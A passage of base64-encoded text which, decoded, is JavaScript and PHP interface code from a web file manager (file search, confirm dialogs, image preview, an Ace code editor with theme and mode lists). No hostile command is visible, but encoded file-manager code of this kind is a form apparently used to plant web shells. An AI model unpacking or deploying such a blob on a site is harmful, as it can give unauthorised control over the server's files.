ZWJvb2tcIikucmVtb3ZlQ2xhc3MoJ3Nob3ctbWUnKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnNvbGUuZXJyb3IoeGhyKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2VhcmNoX3RlbXBsYXRlKGRhdGEpIHtcbiAgICAgICAgICAgICAgICB2YXIgcmVzcG9uc2UgPSBcIlwiO1xuICAgICAgICAgICAgICAgICQuZWFjaChkYXRhLCBmdW5jdGlvbihrZXksIHZhbCkge1xuICAgICAgICAgICAgICAgICAgICByZXNwb25zZSArPSBgPGxpPjxhIGhyZWY9XCI/cD0ke3ZhbC5wYXRofSZ2aWV3PSR7dmFsLm5hbWV9XCI+JHt2YWwucGF0aH1cLyR7dmFsLm5hbWV9PFwvYT48XC9saT5gO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIHJldHVybiByZXNwb25zZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gZm1fc2VhcmNoKCkge1xuICAgICAgICAgICAgICAgIHZhciBzZWFyY2hUeHQgPSAkKFwiaW5wdXQjYWR2YW5jZWQtc2VhcmNoXCIpLnZhbCgpLFxuICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyID0gJChcInVsI3NlYXJjaC13cmFwcGVyXCIpLFxuICAgICAgICAgICAgICAgICAgICBwYXRoID0gJChcIiNqcy1zZWFyY2gtbW9kYWxcIikuYXR0cihcImhyZWZcIiksXG4gICAgICAgICAgICAgICAgICAgIF9odG1sID0gXCJcIixcbiAgICAgICAgICAgICAgICAgICAgJGxvYWRlciA9ICQoXCJkaXYubGRzLWZhY2Vib29rXCIpO1xuICAgICAgICAgICAgICAgIGlmICghIXNlYXJjaFR4dCAmJiBzZWFyY2hUeHQubGVuZ3RoID4gMiAmJiBwYXRoKSB7XG4gICAgICAgICAgICAgICAgICAgIHZhciBkYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgYWpheDogdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ6IHNlYXJjaFR4dCxcbiAgICAgICAgICAgICAgICAgICAgICAgIHBhdGg6IHBhdGgsXG4gICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnc2VhcmNoJyxcbiAgICAgICAgICAgICAgICAgICAgICAgIHRva2VuOiB3aW5kb3cuY3NyZlxuICAgICAgICAgICAgICAgICAgICB9O1xuICAgICAgICAgICAgICAgICAgICAkLmFqYXgoe1xuICAgICAgICAgICAgICAgICAgICAgICAgdHlwZTogXCJQT1NUXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICB1cmw6IHdpbmRvdy5sb2NhdGlvbixcbiAgICAgICAgICAgICAgICAgICAgICAgIGRhdGE6IGRhdGEsXG4gICAgICAgICAgICAgICAgICAgICAgICBiZWZvcmVTZW5kOiBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoJycpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsb2FkZXIuYWRkQ2xhc3MoJ3Nob3ctbWUnKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxvYWRlci5yZW1vdmVDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChkYXRhICYmIGRhdGEubGVuZ3RoKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9odG1sID0gc2VhcmNoX3RlbXBsYXRlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoX2h0bWwpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNlYXJjaFdyYXBwZXIuaHRtbCgnPHAgY2xhc3M9XCJtLTJcIj5ObyByZXN1bHQgZm91bmQhPHA+Jyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yOiBmdW5jdGlvbih4aHIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz1cIm0tMlwiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPFwvcD4nKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz1cIm0tMlwiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPFwvcD4nKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKFwiT09QUzogbWluaW11bSAzIGNoYXJhY3RlcnMgcmVxdWlyZWQhXCIpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gY29uZmlybURhaWxvZyhlLCBpZCA9IDAsIHRpdGxlID0gXCJBY3Rpb25cIiwgY29udGVudCA9IFwiXCIsIGFjdGlvbiA9IG51bGwpIHtcbiAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7XG4gICAgICAgICAgICAgICAgY29uc3QgdHBsT2JqID0ge1xuICAgICAgICAgICAgICAgICAgICBpZCxcbiAgICAgICAgICAgICAgICAgICAgdGl0bGUsXG4gICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ6IGRlY29kZVVSSUNvbXBvbmVudChjb250ZW50LnJlcGxhY2UoXC9cXCtcL2csICcgJykpLFxuICAgICAgICAgICAgICAgICAgICBhY3Rpb25cbiAgICAgICAgICAgICAgICB9O1xuICAgICAgICAgICAgICAgIGxldCB0cGwgPSAkKFwiI2pzLXRwbC1jb25maXJtXCIpLmh0bWwoKTtcbiAgICAgICAgICAgICAgICAkKFwiLm1vZGFsLmNvbmZpcm1EYWlsb2dcIikucmVtb3ZlKCk7XG4gICAgICAgICAgICAgICAgJCgnI3dyYXBwZXInKS5hcHBlbmQodGVtcGxhdGUodHBsLCB0cGxPYmopKTtcbiAgICAgICAgICAgICAgICBjb25zdCAkY29uZmlybURhaWxvZyA9ICQoXCIjY29uZmlybURhaWxvZy1cIiArIHRwbE9iai5pZCk7XG4gICAgICAgICAgICAgICAgJGNvbmZpcm1EYWlsb2cubW9kYWwoJ3Nob3cnKTtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICEgZnVuY3Rpb24ocykge1xuICAgICAgICAgICAgICAgIHMucHJldmlld0ltYWdlID0gZnVuY3Rpb24oZSkge1xuICAgICAgICAgICAgICAgICAgICB2YXIgbyA9IHMoZG9jdW1lbnQpLFxuICAgICAgICAgICAgICAgICAgICAgICAgdCA9IFwiLnByZXZpZXdJbWFnZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgYSA9IHMuZXh0ZW5kKHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB4T2Zmc2V0OiAyMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB5T2Zmc2V0OiAtMjAsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZmFkZUluOiBcImZhc3RcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjc3M6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogXCI1cHhcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyOiBcIjFweCBzb2xpZCAjY2NjY2NjXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYmFja2dyb3VuZC1jb2xvclwiOiBcIiNmZmZcIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnRTZWxlY3RvcjogXCJbZGF0YS1wcmV2aWV3LWltYWdlXVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGFLZXk6IFwicHJldmlld0ltYWdlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgb3ZlcmxheUlkOiBcInByZXZpZXctaW1hZ2UtcGx1Z2luLW92ZXJsYXlcIlxuICAgICAgICAgICAgICAgICAgICAgICAgfSwgZSk7XG4gICAgICAgICAgICAgICAgICAgIHJldHVybiBvLm9mZih0KSwgby5vbihcIm1vdXNlb3ZlclwiICsgdCwgYS5ldmVudFNlbGVjdG9yLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBzKFwicCNcIiArIGEub3ZlcmxheUlkKS5yZW1vdmUoKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBvID0gcyhcIjxwPlwiKS5hdHRyKFwiaWRcIiwgYS5vdmVybGF5SWQpLmNzcyhcInBvc2l0aW9uXCIsIFwiYWJzb2x1dGVcIikuY3NzKFwiZGlzcGxheVwiLCBcIm5vbmVcIikuYXBwZW5kKHMoJzxpbWcgY2xhc3M9XCJjLXByZXZpZXctaW1nXCI+JykuYXR0cihcInNyY1wiLCBzKHRoaXMpLmRhdGEoYS5kYXRhS2V5KSkpO1xuICAgICAgICAgICAgICAgICAgICAgICAgYS5jc3MgJiYgby5jc3MoYS5jc3MpLCBzKFwiYm9keVwiKS5hcHBlbmQobyksIG8uY3NzKFwidG9wXCIsIGUucGFnZVkgKyBhLnlPZmZzZXQgKyBcInB4XCIpLmNzcyhcImxlZnRcIiwgZS5wYWdlWCArIGEueE9mZnNldCArIFwicHhcIikuZmFkZUluKGEuZmFkZUluKVxuICAgICAgICAgICAgICAgICAgICB9KSwgby5vbihcIm1vdXNlb3V0XCIgKyB0LCBhLmV2ZW50U2VsZWN0b3IsIGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgcyhcIiNcIiArIGEub3ZlcmxheUlkKS5yZW1vdmUoKVxuICAgICAgICAgICAgICAgICAgICB9KSwgby5vbihcIm1vdXNlbW92ZVwiICsgdCwgYS5ldmVudFNlbGVjdG9yLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBzKFwiI1wiICsgYS5vdmVybGF5SWQpLmNzcyhcInRvcFwiLCBlLnBhZ2VZICsgYS55T2Zmc2V0ICsgXCJweFwiKS5jc3MoXCJsZWZ0XCIsIGUucGFnZVggKyBhLnhPZmZzZXQgKyBcInB4XCIpXG4gICAgICAgICAgICAgICAgICAgIH0pLCB0aGlzXG4gICAgICAgICAgICAgICAgfSwgcy5wcmV2aWV3SW1hZ2UoKVxuICAgICAgICAgICAgfShqUXVlcnkpO1xuXG4gICAgICAgICAgICAkKGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICB2YXIgJHRhYmxlID0gJCgnI21haW4tdGFibGUnKSxcbiAgICAgICAgICAgICAgICAgICAgdGFibGVMbmcgPSAkdGFibGUuZmluZCgndGgnKS5sZW5ndGgsXG4gICAgICAgICAgICAgICAgICAgIF90YXJnZXRzID0gKHRhYmxlTG5nICYmIHRhYmxlTG5nID09IDcpID8gWzAsIDQsIDUsIDZdIDogdGFibGVMbmcgPT0gNSA/IFswLCA0XSA6IFszXTtcbiAgICAgICAgICAgICAgICBtYWluVGFibGUgPSAkKCcjbWFpbi10YWJsZScpLkRhdGFUYWJsZSh7XG4gICAgICAgICAgICAgICAgICAgIHBhZ2luZzogZmFsc2UsXG4gICAgICAgICAgICAgICAgICAgIGluZm86IGZhbHNlLFxuICAgICAgICAgICAgICAgICAgICBvcmRlcjogW10sXG4gICAgICAgICAgICAgICAgICAgIGNvbHVtbkRlZnM6IFt7XG4gICAgICAgICAgICAgICAgICAgICAgICB0YXJnZXRzOiBfdGFyZ2V0cyxcbiAgICAgICAgICAgICAgICAgICAgICAgIG9yZGVyYWJsZTogZmFsc2VcbiAgICAgICAgICAgICAgICAgICAgfV1cbiAgICAgICAgICAgICAgICB9KTtcblxuICAgICAgICAgICAgICAgICQoJyNzZWFyY2gtYWRkb24nKS5vbigna2V5dXAnLCBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgbWFpblRhYmxlLnNlYXJjaCh0aGlzLnZhbHVlKS5kcmF3KCk7XG4gICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAkKFwiaW5wdXQjYWR2YW5jZWQtc2VhcmNoXCIpLm9uKCdrZXl1cCcsIGZ1bmN0aW9uKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKGUua2V5Q29kZSA9PT0gMTMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGZtX3NlYXJjaCgpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAkKCcjc2VhcmNoLWFkZG9uMycpLm9uKCdjbGljaycsIGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICBmbV9zZWFyY2goKTtcbiAgICAgICAgICAgICAgICB9KTtcblxuICAgICAgICAgICAgICAgICQoXCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtaGVhZGVyLXRhYnNcIikub24oXCJjbGlja1wiLCAnYScsIGZ1bmN0aW9uKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpO1xuICAgICAgICAgICAgICAgICAgICBsZXQgdGFyZ2V0ID0gJCh0aGlzKS5kYXRhKCd0YXJnZXQnKTtcbiAgICAgICAgICAgICAgICAgICAgJChcIi5mbS11cGxvYWQtd3JhcHBlciAuY2FyZC1oZWFkZXItdGFicyBhXCIpLnJlbW92ZUNsYXNzKCdhY3RpdmUnKTtcbiAgICAgICAgICAgICAgICAgICAgJCh0aGlzKS5hZGRDbGFzcygnYWN0aXZlJyk7XG4gICAgICAgICAgICAgICAgICAgICQoXCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtdGFicy1jb250YWluZXJcIikuYWRkQ2xhc3MoJ2hpZGRlbicpO1xuICAgICAgICAgICAgICAgICAgICAkKHRhcmdldCkucmVtb3ZlQ2xhc3MoJ2hpZGRlbicpO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgfSk7XG4gICAgICAgIDxcL3NjcmlwdD5cblxuICAgICAgICA8P3BocCBpZiAoaXNzZXQoJF9HRVRbJ2VkaXQnXSkgJiYgaXNzZXQoJF9HRVRbJ2VudiddKSAmJiBGTV9FRElUX0ZJTEUgJiYgIUZNX1JFQURPTkxZKTpcbiAgICAgICAgICAgICRleHQgPSBwYXRoaW5mbygkX0dFVFtcImVkaXRcIl0sIFBBVEhJTkZPX0VYVEVOU0lPTik7XG4gICAgICAgICAgICAkZXh0ID0gICRleHQgPT0gXCJqc1wiID8gXCJqYXZhc2NyaXB0XCIgOiAgJGV4dDtcbiAgICAgICAgPz5cbiAgICAgICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1hY2UnKTsgPz5cbiAgICAgICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICAgICAgdmFyIGVkaXRvciA9IGFjZS5lZGl0KFwiZWRpdG9yXCIpO1xuICAgICAgICAgICAgICAgIGVkaXRvci5nZXRTZXNzaW9uKCkuc2V0TW9kZSh7XG4gICAgICAgICAgICAgICAgICAgIHBhdGg6IFwiYWNlXC9tb2RlXC88P3BocCBlY2hvICRleHQ7ID8+XCIsXG4gICAgICAgICAgICAgICAgICAgIGlubGluZTogdHJ1ZVxuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIGVkaXRvci5zZXRTaG93UHJpbnRNYXJnaW4oZmFsc2UpO1xuICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGFjZV9jb21tZW5kKGNtZCkge1xuICAgICAgICAgICAgICAgICAgICBlZGl0b3IuY29tbWFuZHMuZXhlYyhjbWQsIGVkaXRvcik7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIGVkaXRvci5jb21tYW5kcy5hZGRDb21tYW5kcyhbe1xuICAgICAgICAgICAgICAgICAgICBuYW1lOiAnc2F2ZScsXG4gICAgICAgICAgICAgICAgICAgIGJpbmRLZXk6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHdpbjogJ0N0cmwtUycsXG4gICAgICAgICAgICAgICAgICAgICAgICBtYWM6ICdDb21tYW5kLVMnXG4gICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgIGV4ZWM6IGZ1bmN0aW9uKGVkaXRvcikge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWRpdF9zYXZlKHRoaXMsICdhY2UnKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1dKTtcblxuICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHJlbmRlclRoZW1lTW9kZSgpIHtcbiAgICAgICAgICAgICAgICAgICAgdmFyICRtb2RlRWwgPSAkKFwic2VsZWN0I2pzLWFjZS1tb2RlXCIpLFxuICAgICAgICAgICAgICAgICAgICAgICAgJHRoZW1lRWwgPSAkKFwic2VsZWN0I2pzLWFjZS10aGVtZVwiKSxcbiAgICAgICAgICAgICAgICAgICAgICAgICRmb250U2l6ZUVsID0gJChcInNlbGVjdCNqcy1hY2UtZm9udFNpemVcIiksXG4gICAgICAgICAgICAgICAgICAgICAgICBvcHRpb25Ob2RlID0gZnVuY3Rpb24odHlwZSwgYXJyKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyICRPcHRpb24gPSBcIlwiO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICQuZWFjaChhcnIsIGZ1bmN0aW9uKGksIHZhbCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT3B0aW9uICs9IFwiPG9wdGlvbiB2YWx1ZT0nXCIgKyB0eXBlICsgaSArIFwiJz5cIiArIHZhbCArIFwiPFwvb3B0aW9uPlwiO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkT3B0aW9uO1xuICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgIF9kYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWNlVGhlbWVcIjoge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImJyaWdodFwiOiB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNocm9tZVwiOiBcIkNocm9tZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjbG91ZHNcIjogXCJDbG91ZHNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3JpbXNvbl9lZGl0b3JcIjogXCJDcmltc29uIEVkaXRvclwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkYXduXCI6IFwiRGF3blwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkcmVhbXdlYXZlclwiOiBcIkRyZWFtd2VhdmVyXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImVjbGlwc2VcIjogXCJFY2xpcHNlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdpdGh1YlwiOiBcIkdpdEh1YlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJpcGxhc3RpY1wiOiBcIklQbGFzdGljXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNvbGFyaXplZF9saWdodFwiOiBcIlNvbGFyaXplZCBMaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXh0bWF0ZVwiOiBcIlRleHRNYXRlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRvbW9ycm93XCI6IFwiVG9tb3Jyb3dcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieGNvZGVcIjogXCJYQ29kZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJrdXJvaXJcIjogXCJLdXJvaXJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwia2F0emVubWlsY2hcIjogXCJLYXR6ZW5NaWxjaFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzcWxzZXJ2ZXJcIjogXCJTUUwgU2VydmVyXCJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkYXJrXCI6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYW1iaWFuY2VcIjogXCJBbWJpYW5jZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjaGFvc1wiOiBcIkNoYW9zXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNsb3Vkc19taWRuaWdodFwiOiBcIkNsb3VkcyBNaWRuaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkcmFjdWxhXCI6IFwiRHJhY3VsYVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjb2JhbHRcIjogXCJDb2JhbHRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ3J1dmJveFwiOiBcIkdydXZib3hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ29iXCI6IFwiR3JlZW4gb24gQmxhY2tcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaWRsZV9maW5nZXJzXCI6IFwiaWRsZSBGaW5nZXJzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImtyX3RoZW1lXCI6IFwia3JUaGVtZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtZXJiaXZvcmVcIjogXCJNZXJiaXZvcmVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWVyYml2b3JlX3NvZnRcIjogXCJNZXJiaXZvcmUgU29mdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtb25vX2luZHVzdHJpYWxcIjogXCJNb25vIEluZHVzdHJpYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibW9ub2thaVwiOiBcIk1vbm9rYWlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGFzdGVsX29uX2RhcmtcIjogXCJQYXN0ZWwgb24gZGFya1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzb2xhcml6ZWRfZGFya1wiOiBcIlNvbGFyaXplZCBEYXJrXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRlcm1pbmFsXCI6IFwiVGVybWluYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tb3Jyb3dfbmlnaHRcIjogXCJUb21vcnJvdyBOaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0b21vcnJvd19uaWdodF9ibHVlXCI6IFwiVG9tb3Jyb3cgTmlnaHQgQmx1ZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0b21vcnJvd19uaWdodF9icmlnaHRcIjogXCJUb21vcnJvdyBOaWdodCBCcmlnaHRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tb3Jyb3dfbmlnaHRfZWlnaHRpZXNcIjogXCJUb21vcnJvdyBOaWdodCA4MHNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidHdpbGlnaHRcIjogXCJUd2lsaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2aWJyYW50X2lua1wiOiBcIlZpYnJhbnQgSW5rXCJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhY2VNb2RlXCI6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqYXZhc2NyaXB0XCI6IFwiSmF2YVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFiYXBcIjogXCJBQkFQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWJjXCI6IFwiQUJDXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWN0aW9uc2NyaXB0XCI6IFwiQWN0aW9uU2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWRhXCI6IFwiQURBXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYXBhY2hlX2NvbmZcIjogXCJBcGFjaGUgQ29uZlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFzY2lpZG9jXCI6IFwiQXNjaWlEb2NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhc2xcIjogXCJBU0xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhc3NlbWJseV94ODZcIjogXCJBc3NlbWJseSB4ODZcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhdXRvaG90a2V5XCI6IFwiQXV0b0hvdEtleVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFwZXhcIjogXCJBcGV4XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYmF0Y2hmaWxlXCI6IFwiQmF0Y2hGaWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYnJvXCI6IFwiQnJvXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY19jcHBcIjogXCJDIGFuZCBDKytcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjOXNlYXJjaFwiOiBcIkM5U2VhcmNoXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY2lycnVcIjogXCJDaXJydVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNsb2p1cmVcIjogXCJDbG9qdXJlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY29ib2xcIjogXCJDb2JvbFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNvZmZlZVwiOiBcIkNvZmZlZVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNvbGRmdXNpb25cIjogXCJDb2xkRnVzaW9uXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NoYXJwXCI6IFwiQyNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjc291bmRfZG9jdW1lbnRcIjogXCJDc291bmQgRG9jdW1lbnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjc291bmRfb3JjaGVzdHJhXCI6IFwiQ3NvdW5kXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NvdW5kX3Njb3JlXCI6IFwiQ3NvdW5kIFNjb3JlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NzXCI6IFwiQ1NTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3VybHlcIjogXCJDdXJseVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImRcIjogXCJEXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZGFydFwiOiBcIkRhcnRcIixcbiAgICAgICAgICAgICAgICAg